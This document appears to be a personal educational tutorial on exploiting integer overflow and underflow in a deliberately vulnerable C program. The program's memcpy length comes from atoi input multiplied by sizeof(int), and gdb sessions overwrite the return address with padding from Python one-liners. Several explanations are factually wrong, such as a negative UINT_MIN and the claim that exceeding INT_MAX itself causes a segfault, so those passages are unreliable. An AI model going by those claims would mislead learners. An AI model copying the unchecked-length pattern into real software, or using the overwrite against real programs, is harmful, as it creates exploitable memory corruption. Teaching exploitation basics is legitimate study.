Integer overflow/underflow exploitation tutorial

By Saif El-Sherei
www.elsherei.com

Introduction:

I decided to get a bit more into Linux exploitation, so I thought it would be nice if I document this as a good friend once said " you think you understand something until you try to teach it ". This is my first try at writing papers. This paper is my understanding of the subject. I understand it might not be complete I am open for suggestions and modifications. I hope as this project helps others as it helped me. This paper is purely for education purposes.

Note: the Exploitation methods explained in the below tutorial will not work on modern system due to NX, ASLR, and modern kernel security mechanisms. If we continue this series we will have a tutorial on bypassing some of these controls

What is an integer?

An integer in computing is a variable holding a real number without fractions. The size of int is depending on the architecture. So on i386 arch (32-bit) the int is 32-bits.

An integer is represented in memory in binary.

An integer overflow/ underflow?

Overflow:

Basically an integer is a region in memory capable of holding values with size up to four bytes. So if this value can be controlled and a value is submitted that is larger in size than 32 bits we will successfully overflow memory.

So according in C the maximum size of a signed int is INT_MAX = 2147483647,

The maximum size of an unsigned int is UINT_MAX = 4294967295 (0xffffffff),

if a value is larger than the INT_MAX is used it will trigger a segmentation fault.

Underflow:

However if the integer value used is less than the minimum signed or unsigned int. This is called an underflow and will also trigger a segmentation fault.

Because the binary unsigned int -4294967295 is similar to the binary representation of the signed int -1 in memory

INT_MIN = -2147483647-1

UINT_MIN = -4294967295

Exploiting:

Vulnerable program int.c

```
#include <stdio.h>



int main(int argc, char *argv[])

{

        char buf[20];

        int i=atoi(argv[1]);

        memcpy(buf,argv[2],i*sizeof(int));

        printf("the number is:%d=%d¥n",i,i*sizeof(int));

        printf("the buffer is:%s¥n",buf);

}
```

Let's take the program step by step:

The program will first declare character buffer of size 20, and int i. As atoi(argv[1])

then it will memcpy the buffer from second argument into buf, with size the int supplied as first argument X size of int which is 4 bytes.
Let's test it:

```
debian:~/tuts/integerunderflow# ./int 1 AAAA

the number is:1=4

the buffer is:AAAA
```

The program works as it should so what will happen if we supplied a negative value

```
debian:~/tuts/integerunderflow# ./int -1 AAAA

Segmentation fault
```

And if we supplied a large positive value:

```
debian:~/tuts/integerunderflow# ./int 111 AAAA

Segmentation fault
```

In the first example we got an overflow because memcpy tried to copy negative data to buffer.

In the second example we got segmentation fault because atoi(argv[1]) X sizeof(int) output of 111 X 4 is 4444 so memcpy tried to copy 4444 bytes to buffer which overflowed the memory.

Let's see it in gdb:

Overflow:

```
(gdb) r 12 $(python -c 'print "A"*44+ "B"*4')

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /root/tuts/integerunderflow/int 12 $(python -c 'print "A"*44+ "B"*4')

the number is:12=48

the buffer is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB#



Program received signal SIGSEGV, Segmentation fault.

0x42424242 in ?? ()

(gdb)
```

So what will happen is memcpy will try to copy 4X12= 48 bytes to buffer which will overflow the buf size 20. And overwrite owr return address after 44 bytes. As shown above.

Underflow:

so the UINT_MIN is -4294967296 which is equal to -1 we have to find a negative value when it is multiplied by 4 will give a number larger than 20, which will trigger as segmentation fault in memcpy().

This number is -1073741810 X 4 = 56

Let's run it in gdb and see where the execution will go to.

```
(gdb) r −1073741810 $(python −c ’print ″A″*44+″B″*4’)

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /root/tuts/integerunderflow/int −1073741810 $(python −c ’print
″A″*44+″B″*4’)

the number is:−1073741810=56

the buffer is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB



Program received signal SIGSEGV, Segmentation fault.

0x42424242 in ?? ()

(gdb)
```

We controlled our execution path with overflow and underflow techniques.

References:

- Phrack issue number 60 Basic integer overflows: http://www.phrack.org/issues.html?issue=60&id=10